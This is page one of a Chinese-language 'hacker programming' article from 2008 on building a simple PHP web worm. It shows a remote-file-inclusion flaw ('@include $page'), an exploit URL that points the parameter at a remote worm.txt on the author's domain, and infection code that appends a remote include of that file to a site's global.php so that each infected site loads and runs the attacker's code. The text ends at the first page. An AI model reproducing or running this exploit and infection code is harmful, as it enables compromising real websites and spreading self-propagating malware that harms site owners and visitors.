安全中国首页 > 文章中心 > 黑客编程
 
一个Web网页下蠕虫的简单实现
更新时间:2008-4-6 0:21:17
责任编辑:池天
热 点:
   在这之前先鄙视下一些人发现漏洞就挂马的无耻行为,我曾经因为一个公开的漏洞而在一个网站站上发现24个各个所谓组织,所谓黑客的后门,鄙视!

    所谓蠕虫,其本质是利用计算机或者应用程序的漏洞进行感染和传播的一段程序,传统的蠕虫一般利用系统方面的漏洞来实现自身的传播,但是由于蠕虫的肆虐,一般的管理员或安装了防火墙或者在网络节点上做了限制。,传播受到限制。但是与此同时,web服务的广泛兴起,各种web程序的漏洞不断被发现,web服务的特殊性以及搜索引擎的强大功能就给了web蠕虫滋生的温床,下面就给大家讲述一个在php环境下的web蠕虫的简单实现。

     一  需要的程序漏洞

    php程序的流行加上php的灵活性导致的安全漏洞很多,其中最耀眼的就是文件包含漏洞,最简单的漏洞基本模型如下:

<?
@include $page;
?>

    其中$page变量可能没有经过过滤,导致该变量可能能被控制从而引发漏洞,可以包含任意指定的文件,现在大部分php都默认将远程文件选项allow_url_fopen配置为on,导致包含我们指定的远程文件变得可能。这样存在类似漏洞的程序很多,于是我们可以在其中将变量定义为我们的一个文件如http://www.defence80.com/worm.txt,其中执行的的代码我们可以控制。我们只要简单的GET这个页面:

Iam_vul.php?page=http://www.defence80.com/worm.txt

就可以让worm.txt内容在网站执行:) 


    二  感染

    我们可能很容易的利用上述的漏洞进入一个目标网站,但是如何在我们离开后让该网站成为蠕虫的发源地呢?很明显,php代码可以做到这点。我们在系统需要的一个关键文件或者首页或者你希望的任何文件里加入如下代码: 

<?
@include "http://www.defence80.com/worm.txt";
?>

    当然,为了程序不疯狂的将自身感染我们需要一个已经被蠕虫感染的标记,传统的蠕虫也是这样做的!实现很简单,我们可以在网站目录下面生成一个worm.txt表示已经被感染,代码变为: 

<?if(!file_exists(’worm.txt’))
{
fputs(fopen(’worm.txt’,’a+’),’I am a worm!’);
fputs(fopen(’global.php’,’a+’),’<?@include "http://www.defence80.com/worm.txt";?>’);
}
?>


    这样这个网站就被我们寄生了:)

1 2 下一页

 
相关文章
48小时热门文章
 
一日一软件
一日一动画